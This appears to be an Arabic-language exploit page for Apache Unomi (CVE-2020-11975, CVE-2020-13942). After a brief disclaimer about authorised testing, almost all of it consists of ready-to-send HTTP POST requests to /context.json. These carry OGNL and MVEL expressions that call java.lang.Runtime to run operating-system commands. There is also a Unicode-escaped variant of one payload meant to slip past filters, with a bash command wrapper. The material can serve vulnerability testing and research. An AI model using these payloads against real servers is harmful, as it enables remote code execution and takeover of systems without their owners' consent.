
CVE-2020-11975 CVE-2020-13942
أساليب وملفات الكشف عن الثغرات الأمنية المقدمة هنا مخصصة فقط للاستخدام من قبل مختصي الأمن بعد الحصول على التفويض القانوني، بهدف اختبار أمان الخوادم المرخصة. يجب على مختصي الأمن الالتزام بالقوانين، ويمنع إجراء أي كشف عن الثغرات دون الحصول على إذن.
(يدعم هذا الـ PoC فقط الإصدارات <= 1.5.0، يُنصح باستخدام الـ PoCين التاليين لـ CVE-2020-13942 اللذين يدعمان الإصدارات <= 1.5.1)
POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 749
{
"personalizations":[
{
"id":"gender-test_anystr",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#[email protected]@getRuntime()).(#r.exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"))",
"comparisonOperator":"equals_anystr",
"propertyValue":"male_anystr"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"test-demo-session-id"
}
تعبير OGNL في طلب HTTP التالي (PoC) يحصل على Runtime وينفذ أمر نظام تشغيل باستخدام واجهة برمجة تطبيقات Java reflection.
POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 1143
{
"personalizations":[
{
"id":"gender-test_anystr",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2_anystr"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"))",
"comparisonOperator":"equals",
"propertyValue":"male_anystr"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"test-demo-session-id"
}
تحويل: يمكن ترميزه بـ Unicode، بتحويل أحرف الحمولة إلى تنسيق \uXXXX. يعمل بنجاح أيضًا.
// 如
// 把e替换为了\u0065
// 把.替换为了\u002e
(#runtim\u0065class = #this.getClass().forNam\u0065(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invok\u0065(null,null)).(#execmethod = #runtimeclass.getDeclar\u0065dMethods().{? #this.nam\u0065.\u0065quals(\"\u0065xec\")}.{? #this.g\u0065tParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod\u002einvok\u0065(#rtobj,\"/bin/bash -c $*|bash 0 /System/Applications/Calculator.app/Cont\u0065nts/MacOS/Calculator\"))
تعبير MVEL في طلب HTTP التالي (PoC) ينشئ كائن Runtime وينفذ أمر نظام تشغيل.
POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 564
{
"filters": [
{
"id": "myfilter1_anystr",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "test-demo-session-id_anystr"
}
تحويل: يمكن ترميزه بـ Unicode، بتحويل أحرف الحمولة إلى تنسيق \uXXXX. يعمل بنجاح أيضًا.